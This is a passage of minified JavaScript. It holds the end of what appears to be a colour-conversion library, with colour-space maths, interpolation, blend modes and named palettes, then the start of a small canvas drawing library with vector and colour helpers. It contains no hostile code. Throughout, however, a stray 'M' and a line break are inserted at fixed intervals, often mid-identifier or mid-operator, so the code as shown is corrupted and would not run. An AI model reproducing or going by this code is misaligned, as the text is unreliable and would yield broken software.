urn void 0===t[3]&&(t[3]=1),t},Nt.autodetect.push({p:3,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ft(r,"rgba"),"array"===xt(r)&&(3===r.length||4===r.length&&"number"==xt(r[3])&&r[3]>=0&&r[3]<=1))return"rgb"}});var Rt=Math.log,Gt=function(r){var e,t,n,a=r/100;return a<66?(e=255,t=a<6?0:-155.25485562709179-.44596950469579133*(t=a-2)+104.49216199393888*Rt(t),n=a<20?0:.8274096064007395*(n=a-10)-254.76935184120902+115.67994401066147*Rt(n)):(e=351.97690566805693+.114206453784165*(e=a-55)-M
40.25366309332127*Rt(e),t=325.4494125711974+.07943456536662342*(t=a-50)-28.0852963507957*Rt(t),n=255),[e,t,n,1]},jt=Gt,Et=l.unpack,Ot=Math.round,qt=m,Bt=v,It=d,At=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];for(var t,n=Et(r,"rgb"),a=n[0],f=n[2],o=1e3,c=4e4;c-o>.4;){var u=jt(t=.5*(c+o));u[2]/u[0]>=f/a?c=t:o=t}return Ot(t)};Bt.prototype.temp=Bt.prototype.kelvin=Bt.prototype.temperature=function(){return At(this._rgb)},qt.temp=qt.kelvin=qt.temperature=function(){for(var r=[],e=arguments.length;e-M
-;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Bt,[null].concat(r,["temp"])))},It.format.temp=It.format.kelvin=It.format.temperature=Gt;var Dt=l.unpack,Ct=Math.cbrt,Yt=Math.pow,St=Math.sign,Lt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Dt(r,"rgb"),n=t[0],a=t[1],f=t[2],o=[$t(n/255),$t(a/255),$t(f/255)],c=o[0],u=o[1],i=o[2],l=Ct(.4122214708*c+.5363325363*u+.0514459929*i),d=Ct(.2119034982*c+.6806995451*u+.1073969566*i),h=Ct(.0883024619*c+.2817188376*u+.6299787005*i);return[.M
2104542553*l+.793617785*d-.0040720468*h,1.9779984951*l-2.428592205*d+.4505937099*h,.0259040371*l+.7827717662*d-.808675766*h]};function $t(r){var e=Math.abs(r);return e<.04045?r/12.92:(St(r)||1)*Yt((e+.055)/1.055,2.4)}var Tt=l.unpack,Kt=Math.pow,Wt=Math.sign,Xt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=Tt(r,"lab"))[0],n=r[1],a=r[2],f=Kt(t+.3963377774*n+.2158037573*a,3),o=Kt(t-.1055613458*n-.0638541728*a,3),c=Kt(t-.0894841775*n-1.291485548*a,3);return[255*Zt(4.0767416621*f-3.307711591M
3*o+.2309699292*c),255*Zt(-1.2684380046*f+2.6097574011*o-.3413193965*c),255*Zt(-.0041960863*f-.7034186147*o+1.707614701*c),r.length>3?r[3]:1]};function Zt(r){var e=Math.abs(r);return e>.0031308?(Wt(r)||1)*(1.055*Kt(e,1/2.4)-.055):12.92*r}var Ht=l.unpack,zt=l.type,Ut=m,Vt=v,Jt=d,Qt=Lt;Vt.prototype.oklab=function(){return Qt(this._rgb)},Ut.oklab=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Vt,[null].concat(r,["oklab"])))},Jt.format.oklab=Xt,Jt.autodetect.pM
ush({p:3,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ht(r,"oklab"),"array"===zt(r)&&3===r.length)return"oklab"}});var rn=l.unpack,en=Lt,tn=Se,nn=l.unpack,an=ze,fn=Xt,on=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=nn(r,"lch"))[0],n=r[1],a=r[2],f=an(t,n,a),o=f[0],c=f[1],u=f[2],i=fn(o,c,u);return[i[0],i[1],i[2],r.length>3?r[3]:1]},cn=l.unpack,un=l.type,ln=m,dn=v,hn=d,bn=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=rn(r,"rgb"),n=tM
[0],a=t[1],f=t[2],o=en(n,a,f),c=o[0],u=o[1],i=o[2];return tn(c,u,i)};dn.prototype.oklch=function(){return bn(this._rgb)},ln.oklch=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(dn,[null].concat(r,["oklch"])))},hn.format.oklch=on,hn.autodetect.push({p:3,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=cn(r,"oklch"),"array"===un(r)&&3===r.length)return"oklch"}});var sn=v,pn=l.type;sn.prototype.alpha=function(r,e){return void 0===e&M
&(e=!1),void 0!==r&&"number"===pn(r)?e?(this._rgb[3]=r,this):new sn([this._rgb[0],this._rgb[1],this._rgb[2],r],"rgb"):this._rgb[3]},v.prototype.clipped=function(){return this._rgb._clipped||!1};var gn=v,vn=pe;gn.prototype.darken=function(r){void 0===r&&(r=1);var e=this.lab();return e[0]-=vn.Kn*r,new gn(e,"lab").alpha(this.alpha(),!0)},gn.prototype.brighten=function(r){return void 0===r&&(r=1),this.darken(-r)},gn.prototype.darker=gn.prototype.darken,gn.prototype.brighter=gn.prototype.brighten,v.prototype.get=functioM
n(r){var e=r.split("."),t=e[0],n=e[1],a=this[t]();if(n){var f=t.indexOf(n)-("ok"===t.substr(0,2)?2:0);if(f>-1)return a[f];throw new Error("unknown channel "+n+" in mode "+t)}return a};var yn=v,mn=l.type,kn=Math.pow;yn.prototype.luminance=function(r){if(void 0!==r&&"number"===mn(r)){if(0===r)return new yn([0,0,0,this._rgb[3]],"rgb");if(1===r)return new yn([255,255,255,this._rgb[3]],"rgb");var e=this.luminance(),t=20,n=function(e,a){var f=e.interpolate(a,.5,"rgb"),o=f.luminance();return Math.abs(r-o)<1e-7||!t--?f:o>rM
?n(e,f):n(f,a)},a=(e>r?n(new yn([0,0,0]),this):n(this,new yn([255,255,255]))).rgb();return new yn(a.concat([this._rgb[3]]))}return wn.apply(void 0,this._rgb.slice(0,3))};var wn=function(r,e,t){return.2126*(r=Mn(r))+.7152*(e=Mn(e))+.0722*(t=Mn(t))},Mn=function(r){return(r/=255)<=.03928?r/12.92:kn((r+.055)/1.055,2.4)},_n={},Nn=v,Fn=l.type,xn=_n,Pn=v,Rn=function(r,e,t){void 0===t&&(t=.5);for(var n=[],a=arguments.length-3;a-- >0;)n[a]=arguments[a+3];var f=n[0]||"lrgb";if(xn[f]||n.length||(f=Object.keys(xn)[0]),!xn[f])tM
hrow new Error("interpolation mode "+f+" is not defined");return"object"!==Fn(r)&&(r=new Nn(r)),"object"!==Fn(e)&&(e=new Nn(e)),xn[f](r,e,t).alpha(r.alpha()+t*(e.alpha()-r.alpha()))};Pn.prototype.mix=Pn.prototype.interpolate=function(r,e){void 0===e&&(e=.5);for(var t=[],n=arguments.length-2;n-- >0;)t[n]=arguments[n+2];return Rn.apply(void 0,[this,r,e].concat(t))};var Gn=v;Gn.prototype.premultiply=function(r){void 0===r&&(r=!1);var e=this._rgb,t=e[3];return r?(this._rgb=[e[0]*t,e[1]*t,e[2]*t,t],this):new Gn([e[0]*t,M
e[1]*t,e[2]*t,t],"rgb")};var jn=v,En=pe;jn.prototype.saturate=function(r){void 0===r&&(r=1);var e=this.lch();return e[1]+=En.Kn*r,e[1]<0&&(e[1]=0),new jn(e,"lch").alpha(this.alpha(),!0)},jn.prototype.desaturate=function(r){return void 0===r&&(r=1),this.saturate(-r)};var On=v,qn=l.type;On.prototype.set=function(r,e,t){void 0===t&&(t=!1);var n=r.split("."),a=n[0],f=n[1],o=this[a]();if(f){var c=a.indexOf(f)-("ok"===a.substr(0,2)?2:0);if(c>-1){if("string"==qn(e))switch(e.charAt(0)){case"+":case"-":o[c]+=+e;break;case"*M
":o[c]*=+e.substr(1);break;case"/":o[c]/=+e.substr(1);break;default:o[c]=+e}else{if("number"!==qn(e))throw new Error("unsupported value for Color.set");o[c]=e}var u=new On(o,a);return t?(this._rgb=u._rgb,this):u}throw new Error("unknown channel "+f+" in mode "+a)}return o};var Bn=v;_n.rgb=function(r,e,t){var n=r._rgb,a=e._rgb;return new Bn(n[0]+t*(a[0]-n[0]),n[1]+t*(a[1]-n[1]),n[2]+t*(a[2]-n[2]),"rgb")};var In=v,An=Math.sqrt,Dn=Math.pow;_n.lrgb=function(r,e,t){var n=r._rgb,a=n[0],f=n[1],o=n[2],c=e._rgb,u=c[0],i=c[1M
],l=c[2];return new In(An(Dn(a,2)*(1-t)+Dn(u,2)*t),An(Dn(f,2)*(1-t)+Dn(i,2)*t),An(Dn(o,2)*(1-t)+Dn(l,2)*t),"rgb")};var Cn=v;_n.lab=function(r,e,t){var n=r.lab(),a=e.lab();return new Cn(n[0]+t*(a[0]-n[0]),n[1]+t*(a[1]-n[1]),n[2]+t*(a[2]-n[2]),"lab")};var Yn=v,Sn=function(r,e,t,n){var a,f,o,c,u,i,l,d,h,b,s,p,g;return"hsl"===n?(o=r.hsl(),c=e.hsl()):"hsv"===n?(o=r.hsv(),c=e.hsv()):"hcg"===n?(o=r.hcg(),c=e.hcg()):"hsi"===n?(o=r.hsi(),c=e.hsi()):"lch"===n||"hcl"===n?(n="hcl",o=r.hcl(),c=e.hcl()):"oklch"===n&&(o=r.oklch()M
.reverse(),c=e.oklch().reverse()),"h"!==n.substr(0,1)&&"oklch"!==n||(u=(a=o)[0],l=a[1],h=a[2],i=(f=c)[0],d=f[1],b=f[2]),isNaN(u)||isNaN(i)?isNaN(u)?isNaN(i)?p=Number.NaN:(p=i,1!=h&&0!=h||"hsv"==n||(s=d)):(p=u,1!=b&&0!=b||"hsv"==n||(s=l)):p=u+t*(i>u&&i-u>180?i-(u+360):i<u&&u-i>180?i+360-u:i-u),void 0===s&&(s=l+t*(d-l)),g=h+t*(b-h),new Yn("oklch"===n?[g,s,p]:[p,s,g],n)},Ln=Sn,$n=function(r,e,t){return Ln(r,e,t,"lch")};_n.lch=$n,_n.hcl=$n;var Tn=v;_n.num=function(r,e,t){var n=r.num(),a=e.num();return new Tn(n+t*(a-n),M
"num")};var Kn=Sn;_n.hcg=function(r,e,t){return Kn(r,e,t,"hcg")};var Wn=Sn;_n.hsi=function(r,e,t){return Wn(r,e,t,"hsi")};var Xn=Sn;_n.hsl=function(r,e,t){return Xn(r,e,t,"hsl")};var Zn=Sn;_n.hsv=function(r,e,t){return Zn(r,e,t,"hsv")};var Hn=v;_n.oklab=function(r,e,t){var n=r.oklab(),a=e.oklab();return new Hn(n[0]+t*(a[0]-n[0]),n[1]+t*(a[1]-n[1]),n[2]+t*(a[2]-n[2]),"oklab")};var zn=Sn;_n.oklch=function(r,e,t){return zn(r,e,t,"oklch")};Math.pow,Math.sqrt,Math.PI,Math.cos,Math.sin,Math.atan2,Math.pow;var Un=m,Vn=funM
ction(r,e,t){if(!Vn[t])throw new Error("unknown blend mode "+t);return Vn[t](r,e)},Jn=function(r){return function(e,t){var n=Un(t).rgb(),a=Un(e).rgb();return Un.rgb(r(n,a))}},Qn=function(r){return function(e,t){var n=[];return n[0]=r(e[0],t[0]),n[1]=r(e[1],t[1]),n[2]=r(e[2],t[2]),n}};Vn.normal=Jn(Qn(function(r){return r})),Vn.multiply=Jn(Qn(function(r,e){return r*e/255})),Vn.screen=Jn(Qn(function(r,e){return 255*(1-(1-r/255)*(1-e/255))})),Vn.overlay=Jn(Qn(function(r,e){return e<128?2*r*e/255:255*(1-2*(1-r/255)*(1-eM
/255))})),Vn.darken=Jn(Qn(function(r,e){return r>e?e:r})),Vn.lighten=Jn(Qn(function(r,e){return r>e?r:e})),Vn.dodge=Jn(Qn(function(r,e){return 255===r?255:(r=e/255*255/(1-r/255))>255?255:r})),Vn.burn=Jn(Qn(function(r,e){return 255*(1-(1-e/255)/(r/255))}));Math.pow,Math.sin,Math.cos,Math.floor,Math.random,Math.log,Math.pow,Math.floor,Math.abs,Math.sqrt,Math.pow,Math.min,Math.max,Math.atan2,Math.abs,Math.cos,Math.sin,Math.exp,Math.PI;for(var ra={OrRd:["#fff7ec","#fee8c8","#fdd49e","#fdbb84","#fc8d59","#ef6548","#d730M
1f","#b30000","#7f0000"],PuBu:["#fff7fb","#ece7f2","#d0d1e6","#a6bddb","#74a9cf","#3690c0","#0570b0","#045a8d","#023858"],BuPu:["#f7fcfd","#e0ecf4","#bfd3e6","#9ebcda","#8c96c6","#8c6bb1","#88419d","#810f7c","#4d004b"],Oranges:["#fff5eb","#fee6ce","#fdd0a2","#fdae6b","#fd8d3c","#f16913","#d94801","#a63603","#7f2704"],BuGn:["#f7fcfd","#e5f5f9","#ccece6","#99d8c9","#66c2a4","#41ae76","#238b45","#006d2c","#00441b"],YlOrBr:["#ffffe5","#fff7bc","#fee391","#fec44f","#fe9929","#ec7014","#cc4c02","#993404","#662506"],YlGn:M
["#ffffe5","#f7fcb9","#d9f0a3","#addd8e","#78c679","#41ab5d","#238443","#006837","#004529"],Reds:["#fff5f0","#fee0d2","#fcbba1","#fc9272","#fb6a4a","#ef3b2c","#cb181d","#a50f15","#67000d"],RdPu:["#fff7f3","#fde0dd","#fcc5c0","#fa9fb5","#f768a1","#dd3497","#ae017e","#7a0177","#49006a"],Greens:["#f7fcf5","#e5f5e0","#c7e9c0","#a1d99b","#74c476","#41ab5d","#238b45","#006d2c","#00441b"],YlGnBu:["#ffffd9","#edf8b1","#c7e9b4","#7fcdbb","#41b6c4","#1d91c0","#225ea8","#253494","#081d58"],Purples:["#fcfbfd","#efedf5","#dadaeM
b","#bcbddc","#9e9ac8","#807dba","#6a51a3","#54278f","#3f007d"],GnBu:["#f7fcf0","#e0f3db","#ccebc5","#a8ddb5","#7bccc4","#4eb3d3","#2b8cbe","#0868ac","#084081"],Greys:["#ffffff","#f0f0f0","#d9d9d9","#bdbdbd","#969696","#737373","#525252","#252525","#000000"],YlOrRd:["#ffffcc","#ffeda0","#fed976","#feb24c","#fd8d3c","#fc4e2a","#e31a1c","#bd0026","#800026"],PuRd:["#f7f4f9","#e7e1ef","#d4b9da","#c994c7","#df65b0","#e7298a","#ce1256","#980043","#67001f"],Blues:["#f7fbff","#deebf7","#c6dbef","#9ecae1","#6baed6","#4292c6M
","#2171b5","#08519c","#08306b"],PuBuGn:["#fff7fb","#ece2f0","#d0d1e6","#a6bddb","#67a9cf","#3690c0","#02818a","#016c59","#014636"],Viridis:["#440154","#482777","#3f4a8a","#31678e","#26838f","#1f9d8a","#6cce5a","#b6de2b","#fee825"],Spectral:["#9e0142","#d53e4f","#f46d43","#fdae61","#fee08b","#ffffbf","#e6f598","#abdda4","#66c2a5","#3288bd","#5e4fa2"],RdYlGn:["#a50026","#d73027","#f46d43","#fdae61","#fee08b","#ffffbf","#d9ef8b","#a6d96a","#66bd63","#1a9850","#006837"],RdBu:["#67001f","#b2182b","#d6604d","#f4a582","#M
fddbc7","#f7f7f7","#d1e5f0","#92c5de","#4393c3","#2166ac","#053061"],PiYG:["#8e0152","#c51b7d","#de77ae","#f1b6da","#fde0ef","#f7f7f7","#e6f5d0","#b8e186","#7fbc41","#4d9221","#276419"],PRGn:["#40004b","#762a83","#9970ab","#c2a5cf","#e7d4e8","#f7f7f7","#d9f0d3","#a6dba0","#5aae61","#1b7837","#00441b"],RdYlBu:["#a50026","#d73027","#f46d43","#fdae61","#fee090","#ffffbf","#e0f3f8","#abd9e9","#74add1","#4575b4","#313695"],BrBG:["#543005","#8c510a","#bf812d","#dfc27d","#f6e8c3","#f5f5f5","#c7eae5","#80cdc1","#35978f","#M
01665e","#003c30"],RdGy:["#67001f","#b2182b","#d6604d","#f4a582","#fddbc7","#ffffff","#e0e0e0","#bababa","#878787","#4d4d4d","#1a1a1a"],PuOr:["#7f3b08","#b35806","#e08214","#fdb863","#fee0b6","#f7f7f7","#d8daeb","#b2abd2","#8073ac","#542788","#2d004b"],Set2:["#66c2a5","#fc8d62","#8da0cb","#e78ac3","#a6d854","#ffd92f","#e5c494","#b3b3b3"],Accent:["#7fc97f","#beaed4","#fdc086","#ffff99","#386cb0","#f0027f","#bf5b17","#666666"],Set1:["#e41a1c","#377eb8","#4daf4a","#984ea3","#ff7f00","#ffff33","#a65628","#f781bf","#999M
999"],Set3:["#8dd3c7","#ffffb3","#bebada","#fb8072","#80b1d3","#fdb462","#b3de69","#fccde5","#d9d9d9","#bc80bd","#ccebc5","#ffed6f"],Dark2:["#1b9e77","#d95f02","#7570b3","#e7298a","#66a61e","#e6ab02","#a6761d","#666666"],Paired:["#a6cee3","#1f78b4","#b2df8a","#33a02c","#fb9a99","#e31a1c","#fdbf6f","#ff7f00","#cab2d6","#6a3d9a","#ffff99","#b15928"],Pastel2:["#b3e2cd","#fdcdac","#cbd5e8","#f4cae4","#e6f5c9","#fff2ae","#f1e2cc","#cccccc"],Pastel1:["#fbb4ae","#b3cde3","#ccebc5","#decbe4","#fed9a6","#ffffcc","#e5d8bd","M
#fddaec","#f2f2f2"]},ea=0,ta=Object.keys(ra);ea<ta.length;ea+=1){var na=ta[ea];ra[na.toLowerCase()]=ra[na]}return m});
function Q5(e){return new function e(t){let n="global"==t?window:this;n.canvas=document.createElement("canvas");let o=n.canvas.getContext("2d");n.width=100;n.height=100;n.canvas.width=n.width;n.canvas.height=n.height;"offscreen"!=t&&(document.body?document.body.appendChild(n.canvas):window.addEventListener("load",function(){document.body.appendChild(n.canvas)}));m();n.MAGIC=161533525;n.RGB=0;n.HSVM
=1;n.HSB=1;n.CHORD=0;n.PIE=1;n.OPEN=2;n.RADIUS=1;n.CORNER=2;n.CORNERS=3;n.ROUND="round";n.SQUARE="butt";n.PROJECT="square";n.MITER="miter";n.BEVEL="bevel";n.CLOSE=1;n.BLEND="source-over";n.REMOVE="destination-out";n.ADD="lighter";n.DARKEST="darken";n.LIGHTEST="lighten";n.DIFFERENCE="difference";n.SUBTRACT="subtract";n.EXCLUSION="exclusion";n.MULTIPLY="multiply";n.SCREEN="screen";n.REPLACE="copy";n.OVERLAY="overlay";n.HARD_LIGHT="hard-light";n.SOFT_LIGHT="soft-light";n.DODGE="color-dodge";n.BURN="color-burn";n.NORMAM
L="normal";n.ITALIC="italic";n.BOLD="bold";n.BOLDITALIC="italic bold";n.CENTER="center";n.LEFT="left";n.RIGHT="right";n.TOP="top";n.BOTTOM="bottom";n.BASELINE="alphabetic";n.LANDSCAPE="landscape";n.PORTRAIT="portrait";n.ALT=18;n.BACKSPACE=8;n.CONTROL=17;n.DELETE=46;n.DOWN_ARROW=40;n.ENTER=13;n.ESCAPE=27;n.LEFT_ARROW=37;n.OPTION=18;n.RETURN=13;n.RIGHT_ARROW=39;n.SHIFT=16;n.TAB=9;n.UP_ARROW=38;n.HALF_PI=Math.PI/2;n.PI=Math.PI;n.QUARTER_PI=Math.PI/4;n.TAU=2*Math.PI;n.TWO_PI=2*Math.PI;n.THRESHOLD=1;n.GRAY=2;n.OPAQUE=3;M
n.INVERT=4;n.POSTERIZE=5;n.DILATE=6;n.ERODE=7;n.BLUR=8;n.ARROW="default";n.CROSS="crosshair";n.HAND="pointer";n.MOVE="move";n.TEXT="text";n.VIDEO={video:!0,audio:!1};n.AUDIO={video:!1,audio:!0};n.SHR3=1;n.LCG=2;n.HARDWARE_FILTERS=!0;n.hint=function(e,t){n[e]=t};n.frameCount=0;n.mouseX=0;n.mouseY=0;n.pmouseX=0;n.pmouseY=0;n.mouseButton=null;n.keyIsPressed=!1;n.mouseIsPressed=!1;n.key=null;n.keyCode=null;n.pixels=null;n.accelerationX=0;n.accelerationY=0;n.accelerationZ=0;n.rotationX=0;n.rotationY=0;n.rotationZ=0;n.reM
lRotationX=0;n.relRotationY=0;n.relRotationZ=0;n.pAccelerationX=0;n.pAccelerationY=0;n.pAccelerationZ=0;n.pRotationX=0;n.pRotationY=0;n.pRotationZ=0;n.pRelRotationX=0;n.pRelRotationY=0;n.pRelRotationZ=0;n.touches=[];n._colorMode=n.RGB;n._noStroke=!1;n._noFill=!1;n._ellipseMode=n.CENTER;n._rectMode=n.CORNER;n._curveDetail=20;n._curveAlpha=0;n._noLoop=!1;n._textFont="sans-serif";n._textSize=12;n._textLeading=12;n._textStyle="normal";n._pixelDensity=1;n._frameRate=null;n._tint=null;let a=null;let r=!0;let i=[];let l=nM
ull;let u=0;let s={};let c=0;let h=null;let f=null;let d=null;Object.defineProperty(n,"deviceOrientation",{get:function(){return 90==Math.abs(window.orientation)?n.LANDSCAPE:n.PORTRAIT}});Object.defineProperty(n,"windowWidth",{get:function(){return window.innerWidth}});Object.defineProperty(n,"windowHeight",{get:function(){return window.innerHeight}});Object.defineProperty(n,"drawingContext",{get:function(){return o}});n.createCanvas=function(e,t){n.width=e,n.height=t,n.canvas.width=e,n.canvas.height=t,m()};n.resizM
eCanvas=function(e,t){n.width=e,n.height=t,n.canvas.width=e,n.canvas.height=t};n.createGraphics=n.createImage=function(t,n){let o=new e("offscreen");return o.createCanvas(t,n),o.noLoop(),o};n.pixelDensity=function(e){return null==e?n._pixelDensity:(n._pixelDensity=e,n.canvas.width=Math.ceil(n.width*e),n.canvas.height=Math.ceil(n.height*e),n.canvas.style.width=n.width+"px",n.canvas.style.height=n.height+"px",o.scale(n._pixelDensity,n._pixelDensity),m(),n._pixelDensity)};n.map=function(e,t,n,o,a,r){let i=o+1*(e-t)/(nM
-t)*(a-o);return r?o<a?Math.min(Math.max(i,o),a):Math.min(Math.max(i,a),o):i};n.lerp=function(e,t,n){return e*(1-n)+t*n};n.constrain=function(e,t,n){return Math.min(Math.max(e,t),n)};n.dist=function(){return 4==arguments.length?Math.hypot(arguments[0]-arguments[2],arguments[1]-arguments[3]):Math.hypot(arguments[0]-arguments[3],arguments[1]-arguments[4],arguments[2]-arguments[5])};n.norm=function(e,t,o){return n.map(e,t,o,0,1)};n.sq=function(e){return e*e};n.fract=function(e){return e-Math.floor(e)};n.degrees=functiM
on(e){return 180*e/Math.PI};n.radians=function(e){return e*Math.PI/180};n.abs=Math.abs;n.ceil=Math.ceil;n.exp=Math.exp;n.floor=Math.floor;n.log=Math.log;n.mag=Math.hypot;n.max=Math.max;n.min=Math.min;n.round=Math.round;n.sqrt=Math.sqrt;n.sin=Math.sin;n.cos=Math.cos;n.tan=Math.tan;n.asin=Math.asin;n.acos=Math.acos;n.atan=Math.atan;n.atan2=Math.atan2;n.Vector=function(e,t,o){let a=this;a.x=e||0,a.y=t||0,a.z=o||0;let r=null,i=null;function l(e,t,n){return null!=e.x?e:null!=t?{x:e,y:t,z:n||0}:{x:e,y:e,z:e}}function u()M
{null==i&&(i=a.x*a.x+a.y*a.y+a.z*a.z,r=Math.sqrt(i))}function s(){i=null,r=null}a.set=function(e,t,n){a.x=e||0,a.y=t||0,a.z=n||0},a.copy=function(){return new n.Vector(a.x,a.y,a.z)},a.add=function(){let e=l.apply(null,arguments);return a.x+=e.x,a.y+=e.y,a.z+=e.z,s(),a},a.rem=function(){let e=l.apply(null,arguments);return a.x%=e.x,a.y%=e.y,a.z%=e.z,s(),a},a.sub=function(){let e=l.apply(null,arguments);return a.x-=e.x,a.y-=e.y,a.z-=e.z,s(),a},a.mult=function(){let e=l.apply(null,arguments);return a.x*=e.x,a.y*=e.y,aM
.z*=e.z,s(),a},a.div=function(){let e=l.apply(null,arguments);return a.x/=e.x,a.y/=e.y,a.z/=e.z,s(),a},a.mag=function(){return u(),r},a.magSq=function(){return u(),i},a.dot=function(){let e=l.apply(null,arguments);return a.x*e.x+a.y*e.y+a.z*e.z},a.dist=function(){let e=l.apply(null,arguments),t=a.x-e.x,n=a.y-e.y,o=a.z-e.z;return Math.sqrt(t*t+n*n+o*o)},a.cross=function(){let e=l.apply(null,arguments),t=a.y*e.z-a.z*e.y,n=a.z*e.x-a.x*e.z,o=a.x*e.y-a.y*e.x;return a.x=t,a.y=n,a.z=o,s(),a},a.normalize=function(){u();letM
 e=r;return a.x/=e,a.y/=e,a.z/=e,r=1,i=1,a},a.limit=function(e){u();let t=r;if(t>e){let n=e/t;a.x*=n,a.y*=n,a.z*=n,r=e,i=e*e}return a},a.setMag=function(e){u();let t=r,n=e/t;return a.x*=n,a.y*=n,a.z*=n,r=e,i=e*e,a},a.heading=function(){return Math.atan2(a.y,a.x)},a.rotate=function(e){let t=Math.cos(e),n=Math.sin(e),o=a.x*t-a.y*n,r=a.x*n+a.y*t;return a.x=o,a.y=r,a},a.angleBetween=function(){let e=l.apply(null,arguments);const t=a.dot(e)/(a.mag()*e.mag());let n;return n=Math.acos(Math.min(1,Math.max(-1,t))),n*=Math.sM
ign(a.cross(e).z||1)},a.lerp=function(e,t){return a.x=a.x*(1-t)+e.x*t,a.y=a.y*(1-t)+e.y*t,a.z=a.z*(1-t)+e.z*t,s(),a},a.reflect=function(e){return e.normalize(),a.sub(e.mult(2*a.dot(e)))},a.array=function(){return[a.x,a.y,a.z]},a.equals=function(e,t){return null==t&&null==(t=Number.EPSILON)&&(t=0),Math.abs(e.x-a.x)<t&&Math.abs(e.y-a.y)<t&&Math.abs(e.z-a.z)<t},a.fromAngle=function(e,t){return null==t&&(t=1),r=t,i=t*t,a.x=t*Math.cos(e),a.y=t*Math.sin(e),a.z=0,a},a.fromAngles=function(e,t,n){null==n&&(n=1),r=n,i=n*n;coM
nst o=Math.cos(t),l=Math.sin(t),u=Math.cos(e),s=Math.sin(e);return a.x=n*s*l,a.y=-n*u,a.z=n*s*o,a},a.random2D=function(){return r=1,i=1,a.fromAngle(Math.random()*Math.PI*2)},a.random3D=function(){return r=1,i=1,a.fromAngles(Math.random()*Math.PI*2,Math.random()*Math.PI*2)},a.toString=function(){return`[${a.x}, ${a.y}, ${a.z}]`}};n.Vector.add=function(e,t){return new n.Vector(e.x+t.x,e.y+t.y,e.z+t.z)};n.Vector.rem=function(e,t){return new n.Vector(e.x%t.x,e.y%t.y,e.z%t.z)};n.Vector.sub=function(e,t){return new n.VecM
tor(e.x-t.x,e.y-t.y,e.z-t.z)};n.Vector.mult=function(e,t){return null==t.x?new n.Vector(e.x*t,e.y*t,e.z*t):new n.Vector(e.x*t.x,e.y*t.y,e.z*t.z)};n.Vector.div=function(e,t){return null==t.x?new n.Vector(e.x/t,e.y/t,e.z/t):new n.Vector(e.x/t.x,e.y/t.y,e.z/t.z)};n.Vector.dist=function(e,t){return Math.hypot(e.x-t.x,e.y-t.y,e.z-t.z)};n.Vector.cross=function(e,t){return new n.Vector(e.y*t.z-e.z*t.y,e.z*t.x-e.x*t.z,e.x*t.y-e.y*t.x)};n.Vector.lerp=function(e,t,o){return new n.Vector(e.x*(1-o)+t.x*o,e.y=e.y*(1-o)+t.y*o,e.M
z=e.z*(1-o)+t.z*o)};n.Vector.equals=function(e,t,n){return e.equals(t,n)};for(let e of["fromAngle","fromAngles","random2D","random3D"])n.Vector[e]=function(t,o,a){return(new n.Vector)[e](t,o,a)};n.createVector=function(e,t,o){return new n.Vector(e,t,o)};n.curvePoint=function(e,t,n,o,a){const r=a*a*a,i=a*a,l=-.5*r+i-.5*a,u=1.5*r-2.5*i+1,s=-1.5*r+2*i+.5*a,c=.5*r-.5*i;return e*l+t*u+n*s+o*c};n.bezierPoint=function(e,t,n,o,a){const r=1-a;return Math.pow(r,3)*e+3*Math.pow(r,2)*a*t+3*r*Math.pow(a,2)*n+Math.pow(a,3)*o};n.M
curveTangent=function(e,t,n,o,a){const r=a*a,i=-3*r/2+2*a-.5,l=9*r/2-5*a,u=-9*r/2+4*a+.5,s=3*r/2-a;return e*i+t*l+n*u+o*s};n.bezierTangent=function(e,t,n,o,a){const r=1-a;return 3*o*Math.pow(a,2)-3*n*Math.pow(a,2)+6*n*r*a-6*t*r*a+3*t*Math.pow(r,2)-3*e*Math.pow(r,2)};function p(e,t,n){let o,a,r,i,l,u,s,c,h;if(0==t)return[255*(o=n),255*(a=n),255*(r=n)];switch((i=e)>360&&(i=0),s=n*(1-t),c=n*(1-t*(u=(i/=60)-(l=~~i))),h=n*(1-t*(1-u)),l){case 0:o=n,a=h,r=s;break;case 1:o=c,a=n,r=s;break;case 2:o=s,a=n,r=h;break;case 3:o=M
s,a=c,r=n;break;case 4:o=h,a=s,r=n;break;default:o=n,a=s,r=c}return[255*o,255*a,255*r]}n.Color=function(e,t,n,o){let a=this;a.MAGIC=786698,a._r=e,a._g=t,a._b=n,a._a=o,a._h=0,a._s=0,a._v=0,a._hsvInferred=!1,a.setRed=function(e){a._r=e,a._hsvInferred=!1},a.setGreen=function(e){a._g=e,a._hsvInferred=!1},a.setBlue=function(e){a._b=e,a._hsvInferred=!1},a.setAlpha=function(e){a._a=e/255,a._hsvInferred=!1},a._inferHSV=function(){a._hsvInferred||([a._h,a._s,a._v]=function(e,t,n){let o,a,r,i,l;if(o=e<t?e<n?e:n:t<n?t:n,0==(lM
=100*(a=e>t?e>n?e:n:t>n?t:n)/255))return[r=0,i=0,l];if(0==(i=100*(a-o)/a))return[r=0,i,l];r=a==e?0+60*(t-n)/(a-o):a==t?120+60*(n-e)/(a-o):240+60*(e-t)/(a-o);return[r,i,l]}(a._r,a._g,a._b),a._hsvInferred=!0)},a.toString=function(){return`rgba(${Math.round(a._r)},${Math.round(a._g)},${Math.round(a._b)},${~~(1e3*a._a)/1e3})`}};n.colorMode=function(e){n._colorMode=e};n.color=function(){if(1==arguments.length&&786698==arguments[0].MAGIC)return arguments[0];if(n._colorMode==n.RGB){if(1==arguments.length)return new n.ColoM
r(arguments[0],arguments[0],arguments[0],1);if(2==arguments.length)return new n.Color(arguments[0],arguments[0],arguments[0],arguments[1]/255);if(3==arguments.length)return new n.Color(arguments[0],arguments[1],arguments[2],1);if(4==arguments.length)return new n.Color(arguments[0],arguments[1],arguments[2],arguments[3]/255)}else{if(1==arguments.length)return new n.Color(...p(0,0,arguments[0]/100),1);if(2==arguments.length)return new n.Color(...p(0,0,arguments[0]/100),arguments[1]/255);if(3==arguments.length)return M
